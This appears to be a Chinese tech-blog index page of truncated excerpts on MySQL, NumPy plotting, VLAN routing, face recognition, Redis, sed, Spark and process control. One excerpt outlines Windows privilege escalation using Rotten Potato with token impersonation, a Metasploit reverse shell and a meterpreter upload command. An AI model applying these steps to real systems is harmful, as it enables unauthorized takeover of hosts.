此笔记为尚硅谷MySQL高级篇部分内容 目录 一、MySQL的数据目录 小结 二 、用户与权限管理 MySQL8密码管理(了解) 权限管理 授予权限的原则 收回权限 权限表 访问控制(了解) 角色管理 三、逻辑架构 服务器处理客户端请求 MySQL 中的 SQL执行流程 SQL语法顺序…

chatgpt赋能Python-python_numpy画图

Python Numpy画图&#xff1a;快速绘制高质量的数据可视化 Python语言不仅在数据科学和人工智能领域得到广泛应用&#xff0c;还被广泛用于数据可视化方面。NumPy是一个Python的科学计算库&#xff0c;提供了高性能的多维数组对象和广播功能&#xff0c;被广泛应用于数据科学、…

Packet Tracer – VLAN 间路由练习

Packet Tracer – VLAN 间路由练习 地址分配表 设备 接口 IP 地址 子网掩码 默认网关 R1 G0/0 172.17.25.2 255.255.255.252 不适用 G0/1.10 172.17.10.1 255.255.255.0 不适用 G0/1.20 172.17.20.1 255.255.255.0 不适用 G0/1.30 172.17.30.1 255.255.255…

十三、人脸识别

文章目录 1、人脸认证和人脸识别2、One shot学习3、siamese network4、Triplet loss function5、人脸识别和二分类问题THE END 1、人脸认证和人脸识别 \qquad 人脸认证表示输入一幅图片和一个name/ID&#xff0c;输出这个图片和ID是否是同一个人。 \qquad 人脸识别表示数据库中…

OMA通道-3

4 Transport API 传输 API 作为开放移动 API 的一部分&#xff0c;为开放移动设备中可用的 SE 提供通信框架 4.1 概述 传输 API 的作用是为应用程序提供访问设备上可用的 SE 的方法。 提供的访问权限基于 ISO/IEC 7816-4 [ISO 7816-4] 定义的概念&#xff1a; • APDU&#…

WIN提权 烂土豆dll劫持

烂土豆配合令牌劫持提权&#xff08;win2012及以下版本可以尝试&#xff09; 两者配合使用可以直接从web权限提升到system权限 msf反弹后监听 上传文件Potato.exe upload /home/yx/桌面/Potato.exe上传至目标主机目录 烂土豆也很鸡肋 在shell中使用 whoami /priv 查看当…

2023年电工杯报名队伍破万!!!!

截止2023年5月24日凌晨0:56分&#xff0c;刚刚使用账号进行电工杯队伍注册&#xff0c;电工杯报名队伍已经达到10600只队伍&#xff0c;作为本年度上半学年&#xff0c;最后一场大型认可度较高的比赛&#xff0c;本次比赛的时间设置、报名费免费等优势使得&#xff0c;这场比赛…

C++ 图像线特征提取及匹配(LineSegmentMatching)

C++ 线特征提取及匹配【LineSegmentMatching】 1 源码下载2 环境配置2.1 添加预定义设置:2.2.配置项目环境2.1 C/C++ --》常规--》附加包含目录:2.2 链接器-》常规--》附加库目录:2.3 链接器-》常规--》输入:3 编译时踩坑记录4.匹配效果输入两幅图像,分别提取两幅图像中的…

【学习日记2023.5.23】 之 Redis入门未入坑

文章目录 1. Redis入门1.1 Redis简介1.2 Redis下载与安装1.2.1 Redis下载1.2.2 Redis安装 1.3 Redis服务启动与停止1.3.1 服务启动命令1.3.2 客户端连接命令1.3.3 修改Redis配置文件1.3.4 Redis客户端图形工具 2. Redis数据类型2.1 五种常用数据类型介绍2.2 各种数据类型特点 3…

shell sed命令

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 sed 命令sed 编辑器sed 的工作流程的三个过程命定格式常用选项常用操作 实验操作打印内容使用地址删除行替换插入 sed 命令 sed 编辑器 sed是一种流编辑器&#x…

什么是 Java 中的数据库连接池?为什么使用连接池来管理数据库连接?

文章目录 1. 数据库连接池的好处1.1 提高性能1.2 连接的重用1.3 连接管理和监控 2. 代码演示2.1 新建maven项目2.2 配置maven地址2.3 配置 Druid 数据源2.4 编写测试代码2.4.1 创建一个 Druid 数据源连接池和获取连接2.4.2 编写测试类2.4.3 新建数据库表2.4.4 运行截图 3. 完整…

进程控制-进程的替换

回顾 对于进程&#xff0c;我们已经有了初步的了解&#xff0c;我们学会了进程的终止&#xff0c;进程的等待&#xff0c;还有如果创建子进程。 这次&#xff0c;我们来学习如何把一个进程运行的代码和数据替换成其他的代码和数据。 进程的替换 为什么要进程替换&#xff0…

Spark大数据处理讲课笔记----Spark任务调度

零、本节学习目标 理解DAG概念了解Stage划分了解RDD在Spark中的运行流程 一、有向无环图 &#xff08;一&#xff09;DAG概念 DAG&#xff08;Directed Acyclic Graph&#xff09;叫做有向无环图&#xff0c;Spark中的RDD通过一系列的转换算子操作和行动算子操作形成了一个…

进程控制--进程的等待

回顾 之前我们已经学习了进程的状态和进程的退出如果你没有这些基础知识&#xff0c;应先去了解进程的相关基础知识。 这次我们主要来学习如何让进程等待子进程的退出。 为什么要等待子进程&#xff1f; 之前我们在学习进程的状态的时候&#xff0c;我们知道了进程有一种状态…